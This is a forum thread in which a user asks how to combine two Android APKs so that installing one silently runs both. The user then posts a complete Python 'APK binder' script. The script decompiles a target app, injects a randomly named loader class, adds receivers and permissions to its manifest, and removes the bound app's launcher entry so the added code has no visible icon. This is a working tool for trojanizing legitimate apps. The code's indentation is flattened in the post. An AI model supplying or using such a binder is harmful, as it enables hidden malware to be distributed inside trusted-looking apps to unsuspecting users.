B4J Question Binder Example

klingon467

Member
Licensed User
Longtime User
Hi,
where can I find an example of a binder?
I want to add 2 apk ... you can in b4j?

thanks
 

klingon467

Member
Licensed User
Longtime User
Not sure that I understand the question...
I would like to join the two applications (apk) into a single application and install it....

app1.apk + app2.apk = app_result.apk

install app_result.apk ------->
---------------> run app1.apk
---------------> run app2.apk

I think I should act on MANIFEST.MF??
 
Upvote 0

klingon467

Member
Licensed User
Longtime User
You can merge zip files (apk = zip) however it will not create a merged app. It will create a corrupted APK.
technically how it managed in this video?

i find this in pyton code

B4X:
'''
TODO
  * Controlar excepciones
  * Limitaciones:
  - No se copian los recursos debido a problemas con la recompilacion.
  - No se copian las actividades debido a que hacen uso de recursos y pueden generar problemas de recompilacion.
'''

__version__ = "v0.1"
__license__ = "Public Domain"
__author__ = "Adri\xe1n Ruiz"

import subprocess
import random
from xml.dom import minidom
import os
import shutil
import sys
import platform
import getopt

ANDROID_MANIFEST = "AndroidManifest.xml"
REPLACE_LOADER_PACKAGE = "net/funsecurity/apk/binder/Loader"
PATH_LOADER_SMALI = os.path.join("loader", "smali", "Loader.smali")
PATH_PROPERTIES_SMALI = os.path.join("loader", "assets", "loader.properties")
LOADER_PERMISSIONS = os.path.join("loader", "permissions.xml")
LOADER_RECEIVER = os.path.join("loader", "receiver.xml")
ACTION_MAIN = "android.intent.action.MAIN"
NO_COPY = \
  [
  os.path.join("smali", "android"),
  "AndroidManifest.xml",
  "apktool.yml",
  os.path.join(" ", "res", "")
  ]

def apk_bind(target_apk, bind_apk, class_bind):

  apktool_bin = config_apktool()

  #Nombre aleatorio de la clase loader
  loader_class = random_string_generator(8)

  '''
  APK Target
  '''
  print "[+] Process", target_apk, "..."

  #Directorio donde almacenar el apk objetivo
  target_dir_smali = os.path.join("tmp", str(random.randint(100000, 999999)))

  #Decompilar apk objetivo
  subprocess.call([os.path.join("apktool", apktool_bin), "d", "-f", target_apk, target_dir_smali])

  #Obtenemos paquete base del apk objetivo
  target_package = get_package_manifest(os.path.join(target_dir_smali, ANDROID_MANIFEST), target_dir_smali)

  if target_package == None:
  print "[x] Problems, package target incorrect"
  sys.exit(1)

  #Parseamos paquete para obtener la ruta en el fs
  target_class_path = target_package.replace(".", "/")

  #Cambiamos la paqueteria en Loader.smali y lo copiamos en la ruta correcta
  prepare_loader_class(target_class_path, loader_class, target_dir_smali)

  #Cambiamos la clase a bindear y lo copiamos en la ruta correcta
  prepare_loader_properties(loader_class, target_dir_smali, class_bind)

  #Editamos el manifest destino estableciendo los permisos correctos y receiver
  prepare_loader_manifest(target_dir_smali, target_package, loader_class)

  print "[+]", target_apk, "processed"

  '''
  APK Binder
  '''
  print "[+] Process", bind_apk, "..."

  #Directorio donde almacenar el apk binder
  binder_dir_smali = os.path.join("tmp", str(random.randint(100000, 999999)))

  #Decompilar apk binder
  subprocess.call([os.path.join("apktool", apktool_bin), "d", "-f", bind_apk, binder_dir_smali])

  #Copiamos todos los datos desde el apk a bindear al destino
  print "[+] Copy files from binder to target..."
  copy_files(binder_dir_smali, target_dir_smali)

  #Copiamos datos del manifest a bindear al destino
  print "[+] Merge manifest..."
  merge_manifest(os.path.join(binder_dir_smali, ANDROID_MANIFEST), os.path.join(target_dir_smali, ANDROID_MANIFEST), binder_dir_smali)

  print "[+]", bind_apk, "processed"

  '''
  Compiling
  '''
  #Compilar apk bindeado
  subprocess.call([os.path.join("apktool", apktool_bin), "b", target_dir_smali, "Bind_" + target_package + ".apk" ])

  #Eliminamos directorios temporales de trabajo
  shutil.rmtree(target_dir_smali)
  shutil.rmtree(binder_dir_smali)

  print "[+] Completed"

def smali_bind(target_apk, smali_bind):

  apktool_bin = config_apktool()

  #Nombre aleatorio de la clase loader
  loader_class = random_string_generator(8)

  '''
  APK Target
  '''
  print "[+] Process", target_apk, "..."

  #Directorio donde almacenar el apk objetivo
  target_dir_smali = os.path.join("tmp", str(random.randint(100000, 999999)))

  #Decompilar apk objetivo
  subprocess.call([os.path.join("apktool", apktool_bin), "d", "-f", target_apk, target_dir_smali])

  #Obtenemos paquete base del apk objetivo
  target_package = get_package_manifest(os.path.join(target_dir_smali, ANDROID_MANIFEST), target_dir_smali)

  if target_package == None:
  print "[x] Problems, package target incorrect"
  sys.exit(1)

  #Parseamos paquete para obtener la ruta en el fs
  target_class_path = target_package.replace(".", "/")

  #Obtenemos paquete y clase del fichero smali
  path_smali_bind = get_smali_class(smali_bind)

  #Cambiamos la paqueteria en Loader.smali y lo copiamos en la ruta correcta
  prepare_loader_class(target_class_path, loader_class, target_dir_smali)

  #Cambiamos la clase a bindear y lo copiamos en la ruta correcta
  prepare_loader_properties(loader_class, target_dir_smali, path_smali_bind.replace("/", "."))

  #Editamos el manifest destino estableciendo los permisos correctos y receiver
  prepare_loader_manifest(target_dir_smali, target_package, loader_class)

  #Inseramos en el manifest destino el service smali
  prepare_smali_manifest(target_dir_smali, path_smali_bind)

  #Copiamos archivo smali en el directorio destino
  copy_smali_file(target_dir_smali, smali_bind, path_smali_bind)

  '''
  Compiling
  '''
  #Compilar apk bindeado
  subprocess.call([os.path.join("apktool", apktool_bin), "b", target_dir_smali, "Bind_" + target_package + ".apk" ])

  #Eliminamos directorios temporales de trabajo
  shutil.rmtree(target_dir_smali)

  print "[+] Completed"

def prepare_smali_manifest(target_dir_smali, path_smali_bind):

  manifest = minidom.parse(os.path.join(target_dir_smali, ANDROID_MANIFEST))
  service = manifest.createElement("service")
  service.setAttribute("android:name", path_smali_bind.replace("/", "."))
  manifest.getElementsByTagName("application")[0].appendChild(service)

  #Guardamos
  fo = open(os.path.join(target_dir_smali, ANDROID_MANIFEST), "wt")
  manifest.writexml(fo)
  fo.close()

def copy_smali_file(target_dir_smali, smali_bind, path_smali_bind):

  os.makedirs(os.path.join(target_dir_smali, "smali", path_smali_bind[:path_smali_bind.rfind("/")]))
  shutil.copy2(smali_bind, os.path.join(target_dir_smali, "smali", path_smali_bind) + ".smali")

def get_smali_class(smali_bind):

  fi = open(smali_bind, "rt")
  smali_file = fi.read(os.path.getsize(smali_bind))
  fi.close()
  return smali_file[smali_file.find("L")+1:smali_file.find(";")]

def merge_manifest(source_manifest, target_manifest, binder_dir_smali):

  s_manifest = minidom.parse(source_manifest)
  t_manifest = minidom.parse(target_manifest)

  s_package = get_package_manifest(source_manifest, binder_dir_smali)

  #Obtenemos grupo de permisos del origen y agregamos en destino
  for child_group_permission in s_manifest.getElementsByTagName("permission-group"):
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_group_permission)

  #Obtenemos arboles de permisos del origen y agregamos en destino
  for child_tree_permission in s_manifest.getElementsByTagName("permission-tree"):
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_tree_permission)

  #Obtenemos instrumentacion del origen y agregamos en destino
  for child_instrumentation in s_manifest.getElementsByTagName("instrumentation"):
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_instrumentation)

  #Obtenemos permisos personalizados del origen y agregamos en destino
  for child_custom_permission in s_manifest.getElementsByTagName("permission"):
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_custom_permission)

  #Obtenemos features del origen y comprobamos si existen en el destino, de no existir, los agregamos
  for child_feature in s_manifest.getElementsByTagName("uses-feature"):
  feature = child_feature.attributes['android:name'].value
  if feature not in t_manifest.toxml():
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_feature)

  #Obtenemos permisos del origen y comprobamos si existen en el destino, de no existir, los agregamos
  for child_permission in s_manifest.getElementsByTagName("uses-permission"):
  permission = child_permission.attributes['android:name'].value
  if permission not in t_manifest.toxml():
  t_manifest.getElementsByTagName("manifest")[0].appendChild(child_permission)

  #Obtenemos la aplicacion y todas las actividades para quitar la actividad MAIN
  child_application = s_manifest.getElementsByTagName("application")
  for child_activity in child_application[0].getElementsByTagName("activity"):
  try:
  if ACTION_MAIN in child_activity.getElementsByTagName("intent-filter")[0].getElementsByTagName("action")[0].attributes['android:name'].value :
  child_activity.removeChild(child_activity.getElementsByTagName("intent-filter")[0])
  #child_application[0].removeChild(child_activity.getElementsByTagName("intent-filter")[0])
  except:
  None

  #Obtenemos todos los nodos para obtener el "android:name" y comprobar que tengan el paquete correcto.
  for child_nodes in child_application[0].childNodes:
  try:
  #print child_nodes.attributes['android:name'].value
  if s_package not in child_nodes.attributes['android:name'].value:
  child_nodes.attributes['android:name'].value = s_package + child_nodes.attributes['android:name'].value
  except:
  None

  #Agregamos providers
  for child in child_application[0].getElementsByTagName("provider"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

  #Agregamos services
  for child in child_application[0].getElementsByTagName("service"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

   '''
  #Agregamos activities
  for child in child_application[0].getElementsByTagName("activity"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

  #Agregamos activity-alias
  for child in child_application[0].getElementsByTagName("activity-alias"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)
   '''
   
  #Agregamos receivers
  for child in child_application[0].getElementsByTagName("receiver"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

  #Agregamos meta-data
  for child in child_application[0].getElementsByTagName("meta-data"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

  #Agregamos libs
  for child in child_application[0].getElementsByTagName("uses-library"):
  t_manifest.getElementsByTagName("application")[0].appendChild(child)

  #print t_manifest.toxml()

  #Guardamos
  fo = open(target_manifest, "wt")
  t_manifest.writexml(fo)
  fo.close()

def copy_files(source_folder, target_folder):

  for root, dirs, files in os.walk(source_folder):
  for file in files:
  next = False
  #Obtenemos archivo origen a copiar
  tf = os.path.join(root, file)
  #Comprobamos la lista negra para no copiar
  for nc in NO_COPY:
  if nc.strip() in tf:
  next = True
  break
  if next: continue
  tf = tf.replace(source_folder, target_folder)
  #Si el archivo existe en el destino
  if os.path.exists(tf): continue
  else:
  try:
  os.makedirs(root.replace(source_folder, target_folder))
  except:
  None
  shutil.copy2(os.path.join(root, file), tf)

def prepare_loader_manifest(target_dir_smali, target_package, loader_class):

  manifest = minidom.parse(os.path.join(target_dir_smali, ANDROID_MANIFEST))

  #Comprobamos los permisos destino. De no existir los damos de alta
  permissions = minidom.parse(LOADER_PERMISSIONS)
  for child_permission in permissions.getElementsByTagName("uses-permission"):
  permission = child_permission.attributes['android:name'].value
  if permission not in manifest.toxml():
  manifest.getElementsByTagName("manifest")[0].appendChild(child_permission)

  #Agregamos receiver
  receiver = minidom.parse(LOADER_RECEIVER)
  receiver.getElementsByTagName("receiver")[0].attributes['android:name'].value = target_package + "." + loader_class
  manifest.getElementsByTagName("application")[0].appendChild(receiver.getElementsByTagName("receiver")[0])

  #Guardamos
  fo = open(os.path.join(target_dir_smali, ANDROID_MANIFEST), "wt")
  manifest.writexml(fo)
  fo.close()

def prepare_loader_properties(propertie_name, target_dir_smali, class_bind):

  fi = open(PATH_PROPERTIES_SMALI, "rt")
  loader_properties = fi.read(os.path.getsize(PATH_PROPERTIES_SMALI))
  fi.close()
  loader_properties = loader_properties.replace(REPLACE_LOADER_PACKAGE, class_bind)

  #Si no existe la carpeta "assets", la creamos
  if not os.path.exists(os.path.join(target_dir_smali, "assets")):
  os.makedirs(os.path.join(target_dir_smali, "assets"))

  fo = open(os.path.join(target_dir_smali, "assets", propertie_name + ".properties"), "wt")
  fo.write(loader_properties)
  fo.close()

def prepare_loader_class(class_path, loader_class, target_dir_smali):

  fi = open(PATH_LOADER_SMALI, "rt")
  l_class = fi.read(os.path.getsize(PATH_LOADER_SMALI))
  fi.close()
  l_class = l_class.replace(REPLACE_LOADER_PACKAGE, class_path + "/" + loader_class)
  l_class = l_class.replace("Loader.java", loader_class + ".java")
  l_class = l_class.replace("loader.properties", loader_class + ".properties")

  fo = open(os.path.join(target_dir_smali, "smali", class_path, loader_class + ".smali"), "wt")
  fo.write(l_class)
  fo.close()

def get_package_manifest(manifest_file, target_dir_smali):

  manifest = minidom.parse(manifest_file)
  root_manifest = manifest.getElementsByTagName("manifest")
  #Obtenemos el package del manifest, en caso de ser incorrecto, obtenemos los packages desde los activities
  if os.path.exists(os.path.join(target_dir_smali, "smali", root_manifest[0].attributes["package"].value.replace(".", os.sep))) == True:
  return root_manifest[0].attributes["package"].value
  else:
  for child in manifest.getElementsByTagName("activity"):
  package = child.attributes['android:name'].value
  if "." in package:
  package = package[0:package.rfind(".")]
  if "." in package: return package
  else: continue
  return None

def random_string_generator(size=6):

  chars = "abcdefghijklmnopqrstuvwxyz"
  return "".join(random.choice(chars) for x in range(size))

def config_apktool():

  #Obtener sistema
  if "windows" in platform.system().lower():
  apktool_bin = "apktool.bat"
  environ_delimiter = ";"
  else:
  apktool_bin = "apktool"
  environ_delimiter = ":"

  #Set path de apktool
  os.environ['PATH'] = os.environ['PATH'] + environ_delimiter + os.path.abspath(os.path.join("apktool", ""))

  return apktool_bin

def get_params():

  target_apk = None
  smali_bind_file = None
  bind_apk = None
  class_bind = None

  try:
  opts, args = getopt.getopt(sys.argv[1:], "t:b:c:s:")
  for opt, arg in opts:
  if opt == "-t":
  target_apk = arg
  elif opt == "-b":
  bind_apk = arg
  elif opt == "-c":
  class_bind = arg
  elif opt == "-s":
  smali_bind_file = arg

  if target_apk is None:
  print "[x] -t param apk target required"
  elif smali_bind_file != None:
  print "[+] smali bind mode"
  smali_bind(target_apk, smali_bind_file)
  elif bind_apk is None:
  print "[x] insufficient parameters, specify [-b -c] or -s"
  elif class_bind is None:
  print class_bind
  print "[x] insufficient parameters, specify [-b -c] or -s"
  else:
  print "[+] apk bind mode"
  apk_bind(target_apk, bind_apk, class_bind)
  except getopt.GetoptError:
  usage()

def usage():

  print "Usage:",  sys.argv[0], "[OPTIONS]\n"
  print "---------------------------------------------------"
  print " -t*  apk target"
  print " -b  apk bind on target"
  print " -c  class to invoke when the event is revealed"
  print " -s  class smali to bind"
  print "---------------------------------------------------\n"
  print "Examples:\n"
  print "# smali bind to apk\n"
  print sys.argv[0], "-t apk_target.apk -s service_bind.smali\n"
  print "# apk bind to apk\n"
  print sys.argv[0], "-t apk_target.apk -b apk_bind.apk -c class.service.to.invoke.from.bind\n"
  print "*** Permissions smali code must match the destination apk, otherwise it will not work."

def version():

  print ""
  print "apk_binder_script", __version__, "|", __author__, "| [email protected] | @funsecurity | www.funsecurity.net"
  print ""

def init():

  version()

  if len(sys.argv) < 4:
  usage()
  else:
  get_params()

if __name__ == "__main__":
   init()
 
Last edited:
Upvote 0
Top